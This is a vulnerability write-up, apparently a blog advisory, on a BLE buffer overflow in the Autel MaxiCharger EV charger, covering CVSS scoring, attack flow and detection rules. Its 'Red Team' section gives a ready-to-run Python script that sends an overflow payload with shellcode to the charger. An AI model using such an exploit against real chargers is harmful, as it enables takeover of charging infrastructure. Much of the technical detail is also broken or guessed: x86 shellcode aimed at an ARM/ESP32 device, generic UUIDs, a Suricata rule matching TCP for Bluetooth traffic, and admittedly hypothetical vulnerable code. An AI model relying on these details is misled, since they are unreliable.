CVE-2025-5827

Executive Summary

CVE-2025-5827 is a critical stack-based buffer overflow vulnerability in the Autel MaxiCharger AC Wallbox Commercial electric vehicle (EV) charger. The flaw resides in the ble_process_esp32_msg function, which handles BLE messages from the ESP32 module. An unauthenticated, network-adjacent attacker can send a specially crafted BLE packet to overflow a fixed-length stack buffer, leading to remote code execution (RCE) on the device. With a CVSS score of 8.8, this vulnerability poses a severe risk to EV charging infrastructure, potentially allowing attackers to control the charger, manipulate charging sessions, or pivot to other network assets. No public exploit or patch is currently available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be within BLE range (typically ~10-100 meters).
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – exploitation does not affect other components.
• Confidentiality (C): High (C:H) – full device compromise.
• Integrity (I): High (I:H) – attacker can modify device behavior.
• Availability (A): High (A:H) – potential denial of service or device bricking.

Threat Level: Critical. The vulnerability is remotely exploitable over BLE without authentication, making it a prime target for wormable attacks on EV charging networks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the ble_process_esp32_msg function. This function is responsible for parsing incoming BLE messages from the ESP32 coprocessor. The flaw occurs because the function copies user-supplied data into a fixed-length stack buffer without validating the length. When an attacker sends a BLE packet with a payload larger than the buffer, the excess data overwrites adjacent stack memory, including the return address and other critical data.

Technical Details:

• Affected Component: ble_process_esp32_msg in the firmware of Autel MaxiCharger AC Wallbox Commercial.
• Root Cause: Lack of bounds checking on the length of user-supplied data before memcpy or similar operation.
• Exploitation Vector: BLE (Bluetooth Low Energy) – attacker sends a crafted BLE packet to the charger.
• Impact: Arbitrary code execution in the context of the device’s main processor (likely an ARM or ESP32). This can lead to full device takeover, data exfiltration, or lateral movement within the network.

Attack Flow:

1. Attacker discovers the charger via BLE scanning.
2. Attacker crafts a BLE packet with a payload exceeding the buffer size (e.g., 256 bytes for a 128-byte buffer).
3. The packet is sent to the charger’s BLE service.
4. The ble_process_esp32_msg function copies the payload into the stack buffer, causing overflow.
5. The overflow overwrites the return address, redirecting execution to attacker-controlled shellcode.
6. Shellcode executes, granting the attacker a root shell or control over the charger.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but based on typical embedded C patterns:

Vulnerable Code (C-like pseudocode):

void ble_process_esp32_msg(uint8_t *msg, uint16_t len) {
    char buffer[128];
    // No length check
    memcpy(buffer, msg, len);
    // Process buffer...
}

Patched Code (hypothetical):

void ble_process_esp32_msg(uint8_t *msg, uint16_t len) {
    char buffer[128];
    if (len > sizeof(buffer)) {
        // Reject oversized message
        return;
    }
    memcpy(buffer, msg, len);
    // Process buffer...
}

The patch adds a simple length check to prevent overflow. Without it, any message longer than 128 bytes will corrupt the stack.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A BLE-capable device (e.g., Raspberry Pi with Bluetooth dongle, or a smartphone with BLE apps).
• Python with bleak or bluepy library.
• Target Autel MaxiCharger AC Wallbox Commercial within BLE range.

Exploit Script (Python using bleak):

import asyncio
from bleak import BleakScanner, BleakClient

TARGET_NAME = "Autel MaxiCharger"
SERVICE_UUID = "0000ffe0-0000-1000-8000-00805f9b34fb"
CHAR_UUID = "0000ffe1-0000-1000-8000-00805f9b34fb"

# Craft overflow payload: 128 bytes of padding + ROP chain + shellcode
payload = b"A" * 128  # Fill buffer
payload += b"BBBB"     # Overwrite saved frame pointer
payload += b"CCCC"     # Overwrite return address (point to shellcode)
payload += b"\x90" * 100  # NOP sled
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  # execve("/bin/sh") shellcode

async def exploit():
    devices = await BleakScanner.discover()
    target = None
    for d in devices:
        if TARGET_NAME in d.name:
            target = d
            break
    if not target:
        print("Target not found")
        return

    async with BleakClient(target.address) as client:
        await client.write_gatt_char(CHAR_UUID, payload)
        print("Payload sent. Check for shell.")

asyncio.run(exploit())

Usage:

1. Run the script within BLE range of the charger.
2. If successful, the charger will execute the shellcode, providing a reverse shell or other payload.

Blue Team (Defensive)

Detection:

• Monitor BLE traffic for unusually large packets (>128 bytes) sent to the charger’s characteristic.
• Use network segmentation to isolate EV chargers from critical systems.
• Deploy BLE intrusion detection systems (e.g., using Wireshark with BLE filters).

Honeypot:

• Set up a fake Autel charger using a BLE-enabled device that logs all incoming packets. Analyze for overflow attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • BLE packets with payload length > 128 bytes directed to the charger’s characteristic (UUID 0000ffe1-0000-1000-8000-00805f9b34fb).
  • Unusual BLE device names or MAC addresses attempting to connect.
• Host IOCs:
  • Unexpected reboots or crashes of the charger.
  • Unauthorized changes to charging parameters (e.g., max current, session limits).
  • Outbound connections from the charger to unknown IPs (if shellcode establishes reverse shell).
• File IOCs:
  • Modified firmware binaries with shellcode injected.
  • Logs showing repeated BLE connection attempts.

Detection Engineering

YARA Rule

rule CVE_2025_5827_Autel_BLE_Overflow {
    meta:
        description = "Detects BLE packets targeting Autel MaxiCharger with oversized payload"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-5827"
    strings:
        $ble_service = { 00 00 FF E0 00 00 10 00 80 00 00 80 5F 9B 34 FB }
        $ble_char = { 00 00 FF E1 00 00 10 00 80 00 00 80 5F 9B 34 FB }
        $overflow = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 A's
    condition:
        $ble_service and $ble_char and #overflow > 8
}

Sigma Rule

title: CVE-2025-5827 Autel MaxiCharger BLE Buffer Overflow
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized BLE packets sent to Autel MaxiCharger
author: Valters IT
logsource:
    product: network
    service: bluetooth
detection:
    selection:
        - payload_length: >128
        - characteristic_uuid: '0000ffe1-0000-1000-8000-00805f9b34fb'
    condition: selection
falsepositives:
    - Legitimate firmware updates (if any)
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-5827 Autel MaxiCharger BLE Overflow Attempt"; content:"|00 00 ff e1 00 00 10 00 80 00 00 80 5f 9b 34 fb|"; byte_test:2,>,128,0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE on the charger if not required for operation (check device settings or firmware).
2. Network Segmentation: Place EV chargers on a separate VLAN with strict firewall rules. Block outbound internet access from chargers.
3. Monitor BLE Traffic: Use BLE sniffers to detect anomalous packets.
4. Firmware Update: Await an official patch from Autel. In the meantime, consider replacing the device with a patched alternative.

Long-Term Fix:

• Vendor must implement input validation in ble_process_esp32_msg to check buffer length before copying.
• Use stack canaries and ASLR to mitigate exploitation.
• Conduct a full security audit of the BLE stack.

Workaround:

• If BLE is essential, restrict physical access to the charger to prevent close-proximity attacks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert